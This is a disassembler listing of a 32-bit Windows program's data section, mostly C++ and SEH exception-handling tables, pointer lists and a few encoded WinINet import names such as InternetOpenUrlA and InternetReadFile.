dword_41F298 dd 3 dup(0) dd offset off_4241E0
dd offset dword_41F40C
dword_41F2AC dd 3 dup(0) dd offset off_423014
dd offset dword_41F2C0
dword_41F2C0 dd 2 dup(0) dd 1, 41F2D0h, 41F2D8h, 0
dd offset off_423014
dd 2 dup(0)
dd 0FFFFFFFFh, 0
dd 40h, 41F2C0h
dword_41F2F4 dd 3 dup(0) dd offset off_423C9C
dd offset dword_41F308
dword_41F308 dd 2 dup(0) dd 2, 41F318h, 41F324h, 41F3F0h, 0
dd offset off_423C9C
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 41F308h
dword_41F340 dd 3 dup(0) dd offset off_42419C
dd offset dword_41F354
dword_41F354 dd 2 dup(0) dd 2, 41F364h, 41F3A4h, 41F370h, 0
dd offset off_424170
dd 2 dup(0)
dd 0FFFFFFFFh, 0
dd 40h, 41F38Ch, 2 dup(0)
dd 1, 41F39Ch, 41F370h, 0
dd offset off_42419C
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 41F354h
dword_41F3C0 dd 3 dup(0) dd offset off_4241FC
dd offset dword_41F3D4
dword_41F3D4 dd 2 dup(0) dd 2, 41F3E4h, 41F424h, 41F3F0h, 0
dd offset off_4241E0
dd 2 dup(0)
dd 0FFFFFFFFh, 0
dd 40h, 41F40Ch
dword_41F40C dd 2 dup(0) dd 1, 41F41Ch, 41F3F0h, 0
dd offset off_4241FC
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 41F3D4h
dword_41F440 dd 3 dup(0) dd offset off_424238
dd offset dword_41F454
dword_41F454 dd 2 dup(0) dd 3, 41F464h, 41F474h, 41F4C0h, 41F3F0h, 0
dd offset off_424238
dd 2, 0
dd 0FFFFFFFFh, 0
dd 40h, 41F454h
dword_41F490 dd 3 dup(0) dd offset off_424218
dd offset dword_41F4A4
dword_41F4A4 dd 2 dup(0) dd 2, 41F4B4h, 41F4C0h, 41F3F0h, 0
dd offset off_424218
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 41F4A4h
dword_41F4DC dd 3 dup(0) dd offset off_424258
dd offset dword_41F4F0
dword_41F4F0 dd 2 dup(0) dd 2, 41F500h, 41F50Ch, 41F654h, 0
dd offset off_424258
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 41F4F0h
dword_41F528 dd 3 dup(0) dd offset off_42427C
dd offset dword_41F53C
dword_41F53C dd 2 dup(0) dd 2, 41F54Ch, 41F558h, 41F654h, 0
dd offset off_42427C
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 41F53Ch, 3 dup(0)
dd offset off_4242A4
dd offset dword_41F588
dword_41F588 dd 2 dup(0) dd 2, 41F598h, 41F5A4h, 41F654h, 0
dd offset off_4242A4
dd 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 41F588h
dword_41F5C0 dd 3 dup(0) dd offset off_4242C4
dd offset dword_41F5D4
dword_41F5D4 dd 2 dup(0) dd 2, 41F5E4h, 41F60Ch, 41F5F0h, 0
dd offset off_4242F4
dd 2 dup(0)
dd 0FFFFFFFFh, 0
dd 4Dh, 41F670h, 4242C4h, 1, 0
dd 0FFFFFFFFh, 0
dd 40h, 41F5D4h
dword_41F628 dd 3 dup(0) dd offset off_4242DC
dd offset dword_41F63C
dword_41F63C dd 2 dup(0) dd 1, 41F64Ch, 41F654h, 0
dd offset off_4242DC
align 10h
dd 0FFFFFFFFh, 0
dd 40h, 41F63Ch, 2 dup(0)
dd 1, 41F680h, 41F688h, 0
dd offset off_4242F4
dd 2 dup(0)
dd 0FFFFFFFFh, 0
dd 40h, 41F670h
dword_41F6A4 dd 3 dup(0) dd offset off_42434C
dd offset dword_41F6B8
dword_41F6B8 dd 2 dup(0) dd 3, 41F6C8h, 41F6D8h, 41F4C0h, 41F3F0h, 0
dd offset off_42434C
dd 2, 0
dd 0FFFFFFFFh, 0
dd 40h, 41F6B8h, 3 dup(0)
; ---------------------------------------------------------------------------
lds ecx, [eax]
add [eax], eax
retf 109h
; ---------------------------------------------------------------------------
align 4
dd 12800h, 14058h, 19820h, 1AE6Bh, 1AE86h, 1AEA1h, 1AEB3h
dd 1AEC2h, 1AEDFh, 1AEF1h, 1AEFBh, 1AF05h, 1AF14h, 1AF37h
dd 1AF5Ah, 1AF64h, 1AF6Eh, 1AF80h, 1AF8Ah, 1AF94h, 1AFA6h
dd 1AFC8h, 1AFDAh, 1AFE4h, 1AFF3h, 1AFFDh, 1B00Fh, 1B029h
dd 1B045h, 1B0BCh, 1B0D4h, 1B0E9h, 1B0FBh, 1B10Dh, 1B117h
dd 1B129h, 1B13Bh, 1B14Dh, 1B1B1h, 1B1DBh, 1B1FDh, 1B207h
dd 1B211h, 1B21Bh, 1B24Eh, 1B270h, 1B28Ah, 1B2ACh, 1B2BEh
dd 1B2D8h, 1B31Ah, 1B334h, 1B33Eh, 1B34Dh, 1B3CDh, 1B3D7h
dd 1B3E6h, 1B3F0h, 1B428h, 1B448h, 1B46Fh, 1B4ACh, 1B4C6h
dd 1B4D8h, 1B4FAh, 1B50Ch, 1B578h, 1B5A2h, 1B5ACh, 1B5C1h
dd 1B5D3h, 1B5FBh, 1B60Dh, 1B627h, 1B639h, 1B65Bh, 1B670h
dd 0
dword_41F840 dd 2 dup(0) ; sub_415B7C+7o
dword_41F848 dd 2 dup(0) ; sub_415BA0+7o
dd 0FFFFFFFFh, 41AE63h
dword_41F858 dd 19930522h, 1, 41F850h, 5 dup(0) dd 1, 0
dword_41F880 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_40DBBA
align 10h
dword_41F8A0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_40FA5C
align 10h
dword_41F8C0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_40FCFF
align 10h
dword_41F8E0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_40FDED
align 10h
dword_41F900 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 41041Fh, 410433h, 0
dword_41F920 dd 0FFFFFFFEh, 0 dd 0FFFFFF80h, 0
dd 0FFFFFFFEh, 410799h, 41079Dh, 0FFFFFFFEh, 41075Fh, 410773h
dword_41F948 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_411060
align 8
dword_41F968 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_411182
align 8
dword_41F988 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_411F71
align 8
dword_41F9A8 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0
dd 0FFFFFFFEh, 0
dd offset sub_41211E
dd 0FFFFFFFEh, 0
dd offset sub_41212A
dword_41F9D0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset sub_412488
align 10h
dword_41F9F0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset loc_4126FD
align 10h
dword_41FA10 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
; ---------------------------------------------------------------------------
jmp fword ptr [edx]
; ---------------------------------------------------------------------------
dw 41h
align 10h
dword_41FA30 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_412E99
align 10h
dword_41FA50 dd 0FFFFFFFEh, 0 db 0CCh
db 3 dup(0FFh)
align 10h
dd 0FFFFFFFEh, 0
dd offset sub_41322B
align 10h
dword_41FA70 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_41357C
align 10h
dword_41FA90 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset sub_413FB9
align 10h
dword_41FAB0 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset sub_414AA7
align 10h
dword_41FAD0 dd 0FFFFFFFEh, 0 db 0CCh
db 3 dup(0FFh)
align 10h
dd 0FFFFFFFEh, 0
dd offset sub_414C53
dd 2 dup(0)
dd offset sub_414C1F
dword_41FAF8 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset sub_414DBC
align 8
dword_41FB18 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0
dd 0FFFFFFFEh, 4152E8h, 4152FCh, 0
dword_41FB38 dd 0FFFFFFFEh, 0 dd 0FFFFFF8Ch, 0
dd 0FFFFFFFEh, 415B65h, 415B69h, 0
dword_41FB58 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset sub_415F4B
align 8
dd offset loc_415F0D
dd offset loc_415F17
dword_41FB80 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0
dd 0FFFFFFFEh, 415FF4h, 415FFDh, 40h, 2 dup(0)
dd offset sub_4160D4
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 41FB9Ch
dword_41FBD0 dd 19930522h, 2, 41FBACh, 1, 41FBBCh, 3 dup(0) dd 1, 0
dword_41FBF8 dd 0FFFFFFFEh, 0 dd 0FFFFFFB4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_41620C
align 8
dd offset loc_41617C
dd offset loc_416185
dword_41FC20 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 4163F3h, 4163F7h, 0
dword_41FC40 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0
dd 0FFFFFFFEh, 41648Ch, 416490h
dword_41FC5C dd 0 dd offset sub_415DBE
align 8
dd offset dword_41FC6C
dword_41FC6C dd 2, 41FC78h, 41FE5Ch, 0 dd offset off_423C9C
dd 0
dd 0FFFFFFFFh, 0
dd 0Ch, 41694Ch, 0
dword_41FC98 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0
dd 0FFFFFFFEh, 416A68h, 416A6Ch, 0
dword_41FCB8 dd 0FFFFFFFEh, 0 dd 0FFFFFFD8h, 0
dd 0FFFFFFFEh, 416AB8h, 416ABCh, 0
dword_41FCD8 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_416D9D
align 8
dword_41FCF8 dd 0FFFFFFFEh, 0 db 0CCh
db 3 dup(0FFh)
align 8
dd 0FFFFFFFEh, 0
dd offset sub_417A68
align 8
dword_41FD18 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_417E5C
align 8
dword_41FD38 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset sub_417FC1
align 8
dword_41FD58 dd 0FFFFFFFEh, 0 dd 0FFFFFFC0h, 0
dd 0FFFFFFFEh, 0
dd offset sub_418266
align 8
dword_41FD78 dd 0FFFFFFFEh, 0 db 0CCh
db 3 dup(0FFh)
align 8
dd 0FFFFFFFEh, 418352h, 418369h, 0
dword_41FD98 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 4183AEh, 4183CAh, 0
dword_41FDB8 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset sub_418D22
align 8
dword_41FDD8 dd 0FFFFFFFEh, 0 db 0CCh
db 3 dup(0FFh)
align 8
dd 0FFFFFFFEh, 0
dd offset sub_419402
align 8
dword_41FDF8 dd 0FFFFFFFEh, 0 dd 0FFFFFFD4h, 0
dd 0FFFFFFFEh, 0
dd offset sub_419F08
align 8
dword_41FE18 dd 0FFFFFFFEh, 0 dd 0FFFFFFC8h, 0
dd 0FFFFFFFEh, 0
dd offset sub_41A0CE
dd 2 dup(0)
dd offset sub_41A005
dword_41FE40 dd 0FFFFFFFEh, 0 dd 0FFFFFFD0h, 0
dd 0FFFFFFFEh, 0
dd offset sub_41A1AE
align 10h
dd offset off_4241E0
align 8
dd 0FFFFFFFFh, 0
dd 0Ch, 40D8D9h, 0
dd offset off_4241FC
dd 0
dd 0FFFFFFFFh, 0
dword_41FE8C dd 0Ch, 401850h, 2, 41FE78h, 41FE5Chdword_41FEA0 dd 0 ; sub_405F1C+34o ...
dd offset loc_401000
dd 0
dd offset dword_41FE8C+8
dd 0
dd offset off_424218
dd 0
dd 0FFFFFFFFh, 0
dd 28h, 401919h, 0
dd offset off_424238
align 8
dd 0FFFFFFFFh, 0
dword_41FEE0 dd 28h, 402433h, 3, 41FECCh, 41FEB0h, 41FE5Chdword_41FEF8 dd 0 ; sub_405EBC+39o ...
dd offset loc_4018EC
dd 0
dd offset dword_41FEE0+8
dd 0
dd offset off_424334
dd 0
dd 0FFFFFFFFh, 0
dword_41FF1C dd 1Ch, 4033C8h, 1, 41FF08hdword_41FF2C dd 0 ; sub_40376E+9Co ...
dd offset loc_4033BE
align 8
dd offset dword_41FF1C+8
align 10h
dd offset off_42434C
align 8
dd 0FFFFFFFFh, 0
dword_41FF50 dd 28h, 4081A7h, 3, 41FF3Ch, 41FEB0h, 41FE5Chdword_41FF68 dd 0 ; sub_40ACEC+36o ...
dd offset sub_40817A
dd 0
dd offset dword_41FF50+8
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 1, 0
dd 1, 0
dd 40h, 2 dup(0)
dd offset sub_4016BB
dd 40h, 2 dup(0)
dd offset loc_401640
dd 2 dup(2), 3, 1, 41FF98h, 2 dup(0)
dd 3, 1, 41FFA8h
dword_41FFE0 dd 19930522h, 4, 41FF78h, 2, 41FFB8h, 3 dup(0) dd 1, 0FFFFFFFFh, 41AEABh
dword_42000C dd 19930522h, 1, 420004h, 5 dup(0) dd 1, 0FFFFFFFFh, 2 dup(0)
dd offset loc_41AEBD
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset sub_40ACD9
dd 0
dd 1, 2, 1, 420048h
dword_42006C dd 19930522h, 3, 420030h, 1, 420058h, 3 dup(0) dd 1, 0FFFFFFFFh, 41AECCh, 0
dd offset loc_41AED4
dword_4200A0 dd 19930522h, 2, 420090h, 5 dup(0) dd 1, 0FFFFFFFFh, 41AEE9h
dword_4200CC dd 19930522h, 1, 4200C4h, 5 dup(0) dd 1, 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset loc_407114
dd 2 dup(0)
dd 2 dup(1), 420100h
dword_420124 dd 19930522h, 2, 4200F0h, 1, 420110h, 3 dup(0) dd 1, 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset loc_4070AD
align 10h
dd 2 dup(1), 420158h
dword_42017C dd 19930522h, 2, 420148h, 1, 420168h, 3 dup(0) dd 1, 0FFFFFFFFh, 2 dup(0)
dd offset loc_41AF0F
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset sub_402420
dd 0
dd 1, 2, 1, 4201B8h
dword_4201DC dd 19930522h, 3, 4201A0h, 1, 4201C8h, 3 dup(0) dd 1, 0FFFFFFFFh, 41AF1Eh
dword_420208 dd 19930522h, 1, 420200h, 5 dup(0) dd 1, 0FFFFFFFFh, 41AF41h
dword_420234 dd 19930522h, 1, 42022Ch, 5 dup(0) dd 1, 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset loc_40CB7F
align 10h
dd 2 dup(1), 420268h
dword_42028C dd 19930522h, 2, 420258h, 1, 420278h, 3 dup(0) dd 1, 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
; ---------------------------------------------------------------------------
cmpsb
retf 40h
; ---------------------------------------------------------------------------
dd 2 dup(0)
dd 2 dup(1), 4202C0h
dword_4202E4 dd 19930522h, 2, 4202B0h, 1, 4202D0h, 3 dup(0) dd 1, 0FFFFFFFFh, 41AF78h, 4 dup(0)
dd 40h, 2 dup(0)
dd offset loc_40B41A
dd 2 dup(1), 2, 1, 420320h
dword_420344 dd 19930522h, 3, 420308h, 1, 420330h, 3 dup(0) dd 1, 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset loc_40B394
align 10h
dd 2 dup(1), 420378h
dword_42039C dd 19930522h, 2, 420368h, 1, 420388h, 3 dup(0) dd 1, 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset loc_40B2C5
dd 2 dup(0)
dd 2 dup(1), 4203D0h
dword_4203F4 dd 19930522h, 2, 4203C0h, 1, 4203E0h, 3 dup(0) dd 1, 0FFFFFFFFh, 41AF9Eh
dword_420420 dd 19930522h, 1, 420418h, 5 dup(0) dd 1, 0FFFFFFFFh, 41AFB0h, 0
dd offset loc_41AFB8
align 8
dd offset loc_41AFC0
dword_42045C dd 19930522h, 3, 420444h, 5 dup(0) dd 1, 0FFFFFFFFh, 41AFD2h
dword_420488 dd 19930522h, 1, 420480h, 5 dup(0) dd 1, 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset sub_407353
dd 2 dup(0)
dd 2 dup(1), 4204BCh
dword_4204E0 dd 19930522h, 2, 4204ACh, 1, 4204CCh, 3 dup(0) dd 1, 0FFFFFFFFh, 2 dup(0)
dd offset loc_41AFEE
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset sub_406F9C
align 10h
dd 1, 2, 1, 42051Ch
dword_420540 dd 19930522h, 3, 420504h, 1, 42052Ch, 3 dup(0) dd 1, 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset sub_406725
dd 2 dup(0)
dd 2 dup(1), 420574h
dword_420598 dd 19930522h, 2, 420564h, 1, 420584h, 3 dup(0) dd 1, 0FFFFFFFFh, 41B007h
dword_4205C4 dd 19930522h, 1, 4205BCh, 5 dup(0) dd 1, 0FFFFFFFFh, 41B019h, 0
dd offset loc_41B021
dword_4205F8 dd 19930522h, 2, 4205E8h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B033h, 0
dd offset loc_41B03D
dword_42062C dd 19930522h, 2, 42061Ch, 5 dup(0) dd 1, 0FFFFFFFFh, 41B04Fh, 0
dd offset loc_41B05A
dd 1, 41B065h, 2, 41B070h, 3, 41B07Bh, 4, 41B086h, 5, 41B093h
dd 6, 41B0A0h, 7, 41B0AEh
dword_420698 dd 19930522h, 9, 420650h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B0C6h
dword_4206C4 dd 19930522h, 1, 4206BCh, 5 dup(0) dd 1, 0FFFFFFFFh, 41B0DEh
dword_4206F0 dd 19930522h, 1, 4206E8h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B0F3h
dword_42071C dd 19930522h, 1, 420714h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B105h
dword_420748 dd 19930522h, 1, 420740h, 5 dup(0) dd 1, 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset loc_40C975
dd 40h, 2 dup(0)
dd offset loc_40C97E
dd 2 dup(0)
dd 2 dup(1), 42078Ch, 2 dup(2), 3, 1, 42079Ch
dword_4207D4 dd 19930522h, 4, 42076Ch, 2, 4207ACh, 3 dup(0) dd 1, 0FFFFFFFFh, 41B121h, 8 dup(0)
dd 40h, 2 dup(0)
dd offset loc_40C511
dd 40h, 2 dup(0)
dd offset loc_40C59E
dd 2 dup(1), 2, 1, 420820h, 2 dup(3), 4, 1, 420830h
dword_420868 dd 19930522h, 5, 4207F8h, 2, 420840h, 3 dup(0) dd 1, 0FFFFFFFFh, 41B133h, 8 dup(0)
dd 40h, 2 dup(0)
dd offset loc_40A348
dd 40h, 2 dup(0)
dd offset loc_40A3CE
dd 2 dup(1), 2, 1, 4208B4h, 2 dup(3), 4, 1, 4208C4h
dword_4208FC dd 19930522h, 5, 42088Ch, 2, 4208D4h, 3 dup(0) dd 1, 0FFFFFFFFh, 41B145h, 8 dup(0)
dd 40h, 2 dup(0)
dd offset loc_409F2A
dd 40h, 2 dup(0)
dd offset loc_409FAB
dd 2 dup(1), 2, 1, 420948h, 2 dup(3), 4, 1, 420958h
dword_420990 dd 19930522h, 5, 420920h, 2, 420968h, 3 dup(0) dd 1, 0FFFFFFFFh, 41B157h, 0
dd offset loc_41B170
align 8
dd offset loc_41B178
dd 2, 41B180h, 3, 41B188h, 2, 41B190h, 0
dd offset loc_41B1A9
dword_4209EC dd 19930522h, 7, 4209B4h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B1BBh, 0
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0B1h, 41h, 0
dd 0
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
db 0B1h, 41h, 0
dd 2, 41B1D3h
dword_420A30 dd 19930522h, 4, 420A10h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B1E5h, 0
dd offset loc_41B1ED
dd 1, 41B1F5h
dword_420A6C dd 19930522h, 3, 420A54h, 5 dup(0) dd 1, 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset sub_40764D
dd 2 dup(0)
dd 2 dup(1), 420AA0h
dword_420AC4 dd 19930522h, 2, 420A90h, 1, 420AB0h, 3 dup(0) dd 1, 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset loc_407175
align 10h
dd 2 dup(1), 420AF8h
dword_420B1C dd 19930522h, 2, 420AE8h, 1, 420B08h, 3 dup(0) dd 1, 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset sub_4067DF
dd 2 dup(0)
dd 2 dup(1), 420B50h
dword_420B74 dd 19930522h, 2, 420B40h, 1, 420B60h, 3 dup(0) dd 1, 0FFFFFFFFh, 41B225h, 0
dd offset loc_41B22D
dd 1, 41B238h, 2, 41B243h
dword_420BB8 dd 19930522h, 4, 420B98h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B258h, 0
dd offset loc_41B260
dd 1, 41B268h
dword_420BF4 dd 19930522h, 3, 420BDCh, 5 dup(0) dd 1, 0FFFFFFFFh, 41B27Ah, 0
dd offset loc_41B282
dword_420C28 dd 19930522h, 2, 420C18h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B294h, 0
dd offset loc_41B29C
dd 1, 41B2A4h
dword_420C64 dd 19930522h, 3, 420C4Ch, 5 dup(0) dd 1, 0FFFFFFFFh, 41B2B6h
dword_420C90 dd 19930522h, 1, 420C88h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B2C8h, 0FFFFFFFFh, 41B2D0h
dword_420CC4 dd 19930522h, 2, 420CB4h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B2E2h, 0FFFFFFFFh, 41B2ECh, 1, 41B2F7h
dd 1, 41B2FFh, 1, 41B30Fh, 1, 41B307h
dword_420D18 dd 19930522h, 6, 420CE8h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B324h, 0
dd offset loc_41B32C
dword_420D4C dd 19930522h, 2, 420D3Ch, 5 dup(0) dd 1, 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset loc_40B326
dd 2 dup(0)
dd 2 dup(1), 420D80h
dword_420DA4 dd 19930522h, 2, 420D70h, 1, 420D90h, 3 dup(0) dd 1, 0FFFFFFFFh, 2 dup(0)
dd offset loc_41B348
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset sub_40A8BA
dd 0
dd 1, 2, 1, 420DE0h
dword_420E04 dd 19930522h, 3, 420DC8h, 1, 420DF0h, 3 dup(0) dd 1, 0FFFFFFFFh, 41B357h, 0
dd offset loc_41B35F
dd 1, 41B367h, 1, 41B36Fh, 1, 41B377h, 1, 41B37Fh, 1, 41B387h
dd 6, 41B38Fh, 6, 41B39Ah, 1, 41B3A5h, 1, 41B3ADh, 1, 41B3B5h
dd 1, 41B3BDh, 1, 41B3C5h
dword_420E98 dd 19930522h, 0Eh, 420E28h, 5 dup(0) dd 1, 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 74h, 40h, 0
dd 2 dup(0)
dd 2 dup(1), 420ECCh
dword_420EF0 dd 19930522h, 2, 420EBCh, 1, 420EDCh, 3 dup(0) dd 1, 0FFFFFFFFh, 41B3E1h
dword_420F1C dd 19930522h, 1, 420F14h, 5 dup(0) dd 1, 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset loc_406C72
dd 2 dup(0)
dd 2 dup(1), 420F50h
dword_420F74 dd 19930522h, 2, 420F40h, 1, 420F60h, 3 dup(0) dd 1, 0FFFFFFFFh, 41B3FAh, 0
dd offset loc_41B402
dd 1, 41B40Ah, 2, 41B412h, 3, 41B41Dh
dword_420FC0 dd 19930522h, 5, 420F98h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B432h, 0
dd offset loc_41B43D
dword_420FF4 dd 19930522h, 2, 420FE4h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B452h, 0FFFFFFFFh, 41B45Ah, 1, 41B464h
dword_421030 dd 19930522h, 3, 421018h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B479h, 0FFFFFFFFh, 41B481h, 0FFFFFFFFh
dd 41B489h, 0FFFFFFFFh, 41B491h, 0FFFFFFFFh, 41B499h, 0FFFFFFFFh
dd 41B4A4h
dword_421084 dd 19930522h, 6, 421054h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B4B6h, 0FFFFFFFFh, 41B4BEh
dword_4210B8 dd 19930522h, 2, 4210A8h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B4D0h
dword_4210E4 dd 19930522h, 1, 4210DCh, 5 dup(0) dd 1, 0FFFFFFFFh, 41B4E2h, 0FFFFFFFFh, 41B4EAh, 0FFFFFFFFh
dd 41B4F2h
dword_421120 dd 19930522h, 3, 421108h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B504h, 8 dup(0)
dd 40h, 2 dup(0)
dd offset loc_40A124
dd 40h, 2 dup(0)
dd offset loc_40A1C1
dd 2 dup(1), 2, 1, 42116Ch, 2 dup(3), 4, 1, 42117Ch
dword_4211B4 dd 19930522h, 5, 421144h, 2, 42118Ch, 3 dup(0) dd 1, 0FFFFFFFFh, 41B516h, 0
dd offset loc_41B51E
dd 1, 41B526h, 2, 41B52Eh, 3, 41B539h, 3, 41B544h, 1, 41B54Fh
dd 1, 41B55Ah, 7, 41B562h, 7, 41B56Dh
dword_421228 dd 19930522h, 0Ah, 4211D8h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B582h, 0
dd offset loc_41B58A
dd 1, 41B592h, 2, 41B59Ah
dword_42126C dd 19930522h, 4, 42124Ch, 5 dup(0) dd 1, 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 0
dd 40h, 2 dup(0)
dd offset loc_407695
dd 2 dup(0)
dd 2 dup(1), 4212A0h
dword_4212C4 dd 19930522h, 2, 421290h, 1, 4212B0h, 3 dup(0) dd 1, 0FFFFFFFFh, 41B5B6h, 8 dup(0)
dd 40h, 2 dup(0)
dd offset loc_4060E6
dd 40h, 2 dup(0)
dd offset loc_406185
dd 2 dup(1), 2, 1, 421310h, 2 dup(3), 4, 1, 421320h
dword_421358 dd 19930522h, 5, 4212E8h, 2, 421330h, 3 dup(0) dd 1, 0FFFFFFFFh, 41B5CBh
dword_421384 dd 19930522h, 1, 42137Ch, 5 dup(0) dd 1, 0FFFFFFFFh, 41B5DDh, 0
dd offset loc_41B5E5
dd 1, 41B5F0h
dword_4213C0 dd 19930522h, 3, 4213A8h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B605h
dword_4213EC dd 19930522h, 1, 4213E4h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B617h, 0FFFFFFFFh, 41B61Fh
dword_421420 dd 19930522h, 2, 421410h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B631h
dword_42144C dd 19930522h, 1, 421444h, 5 dup(0) dd 1, 0FFFFFFFFh, 41B643h, 2 dup(0)
dd 1, 41B64Bh, 1, 41B653h, 2 dup(0)
dd 8, 424334h, 0FFFFFFE4h, 4052D1h, 1, 3, 4, 1, 421498h
dword_4214BC dd 19930522h, 5, 421470h, 1, 4214A8h, 3 dup(0) dd 1, 0FFFFFFFFh, 41B665h
dword_4214E8 dd 19930522h, 1, 4214E0h, 5 dup(0) dd 1, 3 dup(0)
dd 21854h, 1C1BCh, 3 dup(0)
dd 21882h, 1C01Ch, 3 dup(0)
dd 2188Eh, 1C1E0h, 3 dup(0)
dd 21B36h, 1C028h, 3 dup(0)
dd 21B68h, 1C1B0h, 3 dup(0)
dd 21BDCh, 1C000h, 8Dh dup(0)
dd 74480057h, 75517074h, 49797265h, 416F666Eh, 930000h
dd 65746E49h, 74656E72h, 6E65704Fh, 416C7255h, 6F0000h
dd 65746E49h, 74656E72h, 6E6E6F43h, 41746365h, 9A0000h
dd 65746E49h, 74656E72h, 64616552h, 656C6946h, 550000h
